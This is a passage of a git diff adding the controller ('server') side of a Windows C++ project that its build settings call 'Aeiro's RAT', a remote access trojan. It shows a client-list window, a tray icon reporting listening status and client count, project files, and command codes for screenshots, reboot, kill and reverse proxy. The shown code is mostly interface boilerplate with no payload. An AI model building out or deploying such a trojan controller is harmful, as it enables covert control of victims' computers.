EM_SETLIMITTEXT, (WPARAM)20, 0); + } + break; + + case LVN_ENDLABELEDIT: + { + int i = pLvdi->item.iItem; + // Save the new label information + if ((pLvdi->item.iItem != -1 && pLvdi->item.pszText != NULL)) + lstrcpy(_Handle->si.Connections[i].Clients->_ClientID, pLvdi->item.pszText); + //MessageBox(NULL, NULL, NULL, NULL); + } + break; + case NM_CUSTOMDRAW: + { + + + LPNMLVCUSTOMDRAW lplvcd = (LPNMLVCUSTOMDRAW)lParam; + switch (lplvcd->nmcd.dwDrawStage) + { + case CDDS_PREPAINT: + + RECT rect; + rect.left = 0; + rect.right = 645; + rect.top = (93 + (_Handle->si.ConnectionCounter * 16)); + rect.bottom = 335; + // 0, 93, + // 645, 243, + + if (rect.top > 0) + { + HDC hdc; + hdc = GetDC(_Handle->mhWnd); + FillRect(hdc, &rect, CreateSolidBrush(RGB(0x2C, 0x2C, 0x2C))); + DeleteDC(hdc); + } + return CDRF_NOTIFYITEMDRAW; + case CDDS_ITEMPREPAINT: + + int row; + row = lplvcd->nmcd.dwItemSpec; + + + lplvcd->clrText = RGB(255, 255,255); // change the text color + lplvcd->clrTextBk = RGB(44, 44, 44);// ... + + return CDRF_NEWFONT; + + } + } + + + default: + break; + + + + + + } + + + return 0L; +} + + +void DrawItemStatic(HWND Hwnd,LPDRAWITEMSTRUCT pDIS, COLORREF Color, HANDLE font) +{ + + WCHAR staticText[99]; + int len = SendMessage(Hwnd, WM_GETTEXT, + ARRAYSIZE(staticText), (LPARAM)staticText); + SetTextColor(pDIS->hDC, Color); + SelectObject(pDIS->hDC, font ); + TextOut(pDIS->hDC, pDIS->rcItem.left, pDIS->rcItem.top, staticText, len); + +} + +void DrawItemListView() +{ + +} \ No newline at end of file diff --git a/Server/Server/Server.h b/Server/Server/Server.h new file mode 100644 index 0000000..d00d47e --- /dev/null +++ b/Server/Server/Server.h @@ -0,0 +1,3 @@ +#pragma once + +#include "resource.h" diff --git a/Server/Server/Server.rc b/Server/Server/Server.rc new file mode 100644 index 0000000..71cbfae Binary files /dev/null and b/Server/Server/Server.rc differ diff --git a/Server/Server/Server.vcxproj b/Server/Server/Server.vcxproj new file mode 100644 index 0000000..17ad11f --- /dev/null +++ b/Server/Server/Server.vcxproj @@ -0,0 +1,200 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {1CD26FC0-2DFF-4BB2-B6C3-6DF18E58CD5E} + Win32Proj + Server + 10.0.14393.0 + + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + Aeiro's RAT + $(SolutionDir)$(Configuration) + + + true + Aeiro's RAT + $(SolutionDir)$(Configuration) + + + false + PGR_A + + + false + PGR_A + + + + NotUsing + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) + + + + Windows + true + + + false + + + + + Use + Level3 + Disabled + _DEBUG;_WINDOWS;%(PreprocessorDefinitions) + + + Windows + true + + + + + Level3 + NotUsing + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + 5.1 + false + + + false + + + + + Level3 + NotUsing + MaxSpeed + true + true + NDEBUG;_WINDOWS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + 5.1 + false + + + + + + + + + + + + + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Server/Server/SplashScreen.ico b/Server/Server/SplashScreen.ico new file mode 100644 index 0000000..bc195d5 Binary files /dev/null and b/Server/Server/SplashScreen.ico differ diff --git a/Server/Server/SplashScreen.jpg b/Server/Server/SplashScreen.jpg new file mode 100644 index 0000000..98610b1 Binary files /dev/null and b/Server/Server/SplashScreen.jpg differ diff --git a/Server/Server/SysTray.cpp b/Server/Server/SysTray.cpp new file mode 100644 index 0000000..8a32593 --- /dev/null +++ b/Server/Server/SysTray.cpp @@ -0,0 +1,61 @@ + +#include "SysTray.h" + + +SysTray::SysTray() +{ + + nID = { 0 }; + nID.cbSize = sizeof(NOTIFYICONDATA); + //nID.hWnd = hWnd; + nID.uID = TRAY_ICON; + nID.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;// | NIF_SHOWTIP; + nID.uCallbackMessage = TRAY_NOTIF; + //nID.hIcon = LoadIcon(hinstance, MAKEINTRESOURCE(IDI_SERVER)); + //nID.uVersion = NOTIFYICON_VERSION_4; + //wcscpy(nID.szTip, L"Hello\n This works?"); + // nID.szTip = "Hello"; +} + + +SysTray::~SysTray() +{ +} + +int SysTray::AddTray(HICON hIcon, BOOL Listen, NOTIFYICONDATA* nID, HWND hWnd, int Connections) +{ + nID->hWnd = hWnd; + nID->hIcon = hIcon; + std::wstringstream wss; + std::wstring wStr; + if (Listen) + wss << L"Listening\n" << L"Clients: " << Connections; + else wss << L"Waiting To Listen"; + wStr = wss.str(); + //wchar_t tray[256]; + wcscpy(nID->szTip, wStr.c_str()); + Shell_NotifyIcon(NIM_ADD, nID); + return 0; +} + +int SysTray::HideTray(NOTIFYICONDATA* nID) +{ + Shell_NotifyIcon(NIM_DELETE, nID); + return 0; +} + +int SysTray::UpdateTray(NOTIFYICONDATA* nID, BOOL Listen, int Connections) +{ + std::wstringstream wss; + std::wstring wStr; + if(Listen) + wss << L"Listening\n" << L"Clients: " << Connections; + else wss << L"Waiting To Listen"; + wStr = wss.str(); + //wchar_t tray[256]; + wcscpy(nID->szTip, wStr.c_str()); + + //wcscpy(nID->szTip, Tip); + Shell_NotifyIcon(NIM_MODIFY, nID); + return 0; +} \ No newline at end of file diff --git a/Server/Server/SysTray.h b/Server/Server/SysTray.h new file mode 100644 index 0000000..6313851 --- /dev/null +++ b/Server/Server/SysTray.h @@ -0,0 +1,16 @@ +#pragma once +#include "stdafx.h" +class SysTray +{ +public: + SysTray(); + ~SysTray(); + + NOTIFYICONDATA nID; + + + int AddTray(HICON, BOOL, NOTIFYICONDATA*, HWND, int); + int HideTray(NOTIFYICONDATA*); + int UpdateTray(NOTIFYICONDATA*, BOOL, int); +}; + diff --git a/Server/Server/stdafx.cpp b/Server/Server/stdafx.cpp new file mode 100644 index 0000000..bc3f97f --- /dev/null +++ b/Server/Server/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// Server.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Server/Server/stdafx.h b/Server/Server/stdafx.h new file mode 100644 index 0000000..190c047 --- /dev/null +++ b/Server/Server/stdafx.h @@ -0,0 +1,47 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +//#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files: +#include +#include + +// C RunTime Header Files +#include +#include +#include +#include + +#include +// TODO: reference additional headers your program requires here + + +#include +#include +#include +#include +#include +#include +#include + + +#include +#pragma comment(lib, "gdiplus.lib") +#pragma comment(lib, "Ws2_32.lib") +#pragma comment(lib, "comctl32.lib") + +#include "Resource.h" + + +#define Remote 2 +#define Quit -1 +#define Kill -2 +#define Screeny 5 +#define Reboot 6 +#define RProxy 7 \ No newline at end of file diff --git a/Server/Server/targetver.h b/Server/Server/targetver.h new file mode 100644 index 0000000..87c0086 --- /dev/null +++ b/Server/Server/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include